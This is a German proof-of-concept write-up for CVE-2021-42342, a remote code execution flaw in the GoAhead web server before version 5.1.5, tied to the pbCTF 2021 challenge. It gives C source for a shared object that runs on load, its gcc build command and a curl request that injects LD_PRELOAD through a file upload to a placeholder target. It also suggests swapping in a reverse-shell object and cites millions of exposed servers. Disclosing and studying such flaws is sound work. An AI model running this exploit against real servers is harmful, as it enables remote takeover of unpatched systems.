
Ein kleiner PoC für die kürzlich gefundene RCE im Goahead-Webserver vor Version 5.1.5.
Ein kürzlich entdeckter Bug im Goahead-Webserver wurde von William Bowling gefunden, der zu RCE auf dem ausgenutzten Server führt.
Das Problem besteht vor Version 5.1.5, die laut Shodan rund 2,8 Millionen Server im Internet abdeckt.
Ein CVS ist jetzt verfügbar [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
Der RCE wird durch die Tatsache verursacht, dass, wenn der Datei-Upload-Filter aktiviert ist, der Benutzer Dateien hochladen und gleichzeitig Benutzerformularvariablen setzen kann.
Diese Variablen werden zu Betriebssystem-Umgebungsvariablen. Normalerweise ist das kein Problem, da in normalen Formular-Upload-Fällen die Umgebungsvariablen mit CGI_ (Standard) präfigiert werden. Wenn jedoch der Datei-Upload-Filter aktiviert ist, führt ein Fehler im Code dazu, dass dieses Präfix weggelassen wird = sofortiger RCE über Umgebungsvariablen + Datei.
Das Folgende gibt lediglich "Hello World" auf dem entfernten Server aus, könnte aber alles Mögliche sein:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
Kompilieren mit:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
Jetzt sind wir bereit, unsere Datei an den Server zu senden. Dies kann mit curl erfolgen:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
Ersetzen Sie [TARGET] durch die Domain/IP des Zielservers.
Sie werden wahrscheinlich einen Fehler vom Server sehen, aber versuchen Sie es mit einem anderen Shared Object, das z.B. einen Rückkanal mit einer schönen Shell herstellt 👍
Ein Fix ist mit goahead 5.1.5 verfügbar: [https://github.com/embedthis/goahead/issues/305]
Das Problem wurde ursprünglich von Willian Bowling vom Perfect Blue CTF Team gefunden.
Während der pbCTF 2021 war eine Herausforderung die damals vorhandene Version (5.1.4) des Goahead-Servers, und zusammen mit dem Kalmarunionen CTF Team stießen wir auf dasselbe 0day-Problem im Code (das den Autoren noch nicht offengelegt worden war).